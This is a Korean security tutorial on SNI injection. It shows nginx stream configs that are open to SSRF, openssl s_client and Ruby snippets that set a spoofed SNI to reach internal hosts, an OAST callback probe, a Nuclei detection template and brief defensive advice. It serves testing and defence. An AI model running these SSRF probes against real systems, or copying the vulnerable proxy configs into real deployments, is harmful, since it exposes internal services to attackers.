SNI Injection

Introduction

SNI

SNI(Server Name Indication)은 TLS의 확장 기능으로 handshake 과정 초기에 클라이언트가 어떤 호스트에 접속하는지 서버에게 알리는 역할을 수행합니다.

RFC 6066

SNI Injection

이러한 SNI 정보는 클라이언트와 서버간의 통신을 위해 Handshake하는 과정에서 사용되기 때문에 SNI 정보를 처리하거나 검증등에 활용하는 경우 일반적인 Injection 공격과 동일하게 임의의 데이터를 Inject할 수 있습니다. 대표적으로 활용되는 케이스는 아래와 같습니다.

  • TLS를 사용하는 Application의 이상 동작을 유도 (Overflow, Crash)
  • SNI를 처리하는 WAS나 Ingress의 특징을 이용하여 SSRF
# SNI SSRF에 취약한 nginx 설정
stream {
    server {
        listen 443; 
        resolver 127.0.0.11;
        proxy_pass $ssl_preread_server_name:443;       
        ssl_preread on;
    }
}

# 정규표현식을 통해 처리하는 경우에도 SNI를 통해 통제되지 않는 동작이 발생할 수 있음
stream {
    map $ssl_preread_server_name $targetBackend {
        ~^www.example\.com    $ssl_preread_server_name;
    }  

    server {
        listen 443; 
        resolver 127.0.0.11;
        proxy_pass $targetBackend:443;       
        ssl_preread on;
    }
}

Offensive techniques

Detect

SNI Injection을 위해선 SNI 필드를 원하는 데이터로 수정할 수 있어야 합니다. Packet을 조작하여 전달하는 방법이 가장 깊은 레벨의 공격까지 진행할 수 있고, 일반적으론 도구를 사용해서 편집하는게 편리합니다.

OpenSSL

openssl s_client \
  -connect target.com:443 \
  -servername "<PAYLOAD>" \
  -crlf

openssl client를 통해 쉽게 SNI를 수정할 수 있습니다. -servername flag는 SNI 데이터를 지정하는 부분으로 해당 flag를 통해 공격 페이로드를 삽입하거나 아래와 같이 OOB를 유도하는 OAST를 통해 식별할 수 있습니다.

# OAST
openssl s_client \
  -connect target.com:443 \
  -servername "ecoztid37w4o7gpy6wgzgvyify.odiss.eu" \
  -crlf

Ruby

Ruby, Python 등으로 쉽게 작성해서 테스트할 수 있습니다. 아래는 Ruby로 작성한 예시입니다.

# frozen_string_literal: true

require 'net/http'

def check(url, sni)
  uri = URI(url)

  Net::HTTP.start(uri.host, uri.port, use_ssl: true, ipaddr: sni) do |http|
    request = Net::HTTP::Get.new(uri)
    response = http.request(request)

    p response.code
    p response.body
  end
end

check('https://www.hahwul.com','internal.hahwul.com')
check('https://www.hahwul.com','dalfox.hahwul.com')

Nuclei

tls-sni를 쉽게 수정하면서 테스트할 수 있도록 Nuclei에선 기능과 템플릿을 제공하고 있습니다.

id: tls-sni-proxy

info:
  name: TLS SNI Proxy Detection
  author: pdteam
  severity: info
  reference:
    - https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/
    - https://www.bamsoftware.com/computers/sniproxy/
  tags: ssrf,oast,tls,sni,proxy

requests:
  - raw:
      - |
        @tls-sni: interactsh-url
        GET HTTP/1.1
        Host: {{Hostname}}
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

https://github.com/projectdiscovery/nuclei-templates/blob/main/misconfiguration/tls-sni-proxy.yaml

Exploitation

Injection 공격은 공격자가 어떤 액션을 목적으로 하고 어떤 코드를 사용하고, 대상에 어떤 취약점이 있느냐에 따라서 여러가지 형태로 나타나지만 가장 잘 알려진 공격은 SSRF 입니다.

SSRF

# SSRF via SNI
openssl s_client \
  -connect target.com:443 \
  -servername "internal.inhouse.domain" \
  -crlf

아까 위에서 이야기했던 Ruby 코드를 가지고 예시로 작성해보면 이렇습니다.

require 'net/http'

def check(url, sni)
  uri = URI(url)

  Net::HTTP.start(uri.host, uri.port, use_ssl: true, ipaddr: sni) do |http|
    request = Net::HTTP::Get.new(uri)
    response = http.request(request)

    p response.code
    p response.body
  end
end

check('https://public.target.com/server-status','internal.service')

웹 요청은 아래와 같이 발생하지만 실제 연결되는 도메인은 internal.service로 proxy_pass 등이 오 설정된 경우 공격자가 원하는 도메인으로 요청을 발생 시킬 수 있습니다.

GET /server-status HTTP/1.1

With CRLF Injection

BlackHat 문서 중 유명한 Era of SSRF를 보면 SNI Injection 에 대한 내용도 있습니다. Mail Injection에도 충분히 사용될 수 있으니 잘 알아두시는게 좋을 것 같네요 :D

Era of SSRF

Defensive techniques

실제 Application에서 직접 TLS를 다루는 경우는 적습니다. 관련 라이브러리 또는 WAS, Ingress 등의 설정에서 SNI를 신뢰하는지, 어떻게 처리하는지 확인하고 위와 같은 경우들이 발생하지 않도록 규칙이나 정규표현식 등을 정확하게 설정해야 합니다.

Tools

  • https://github.com/tls-attacker/TLS-Attacker

References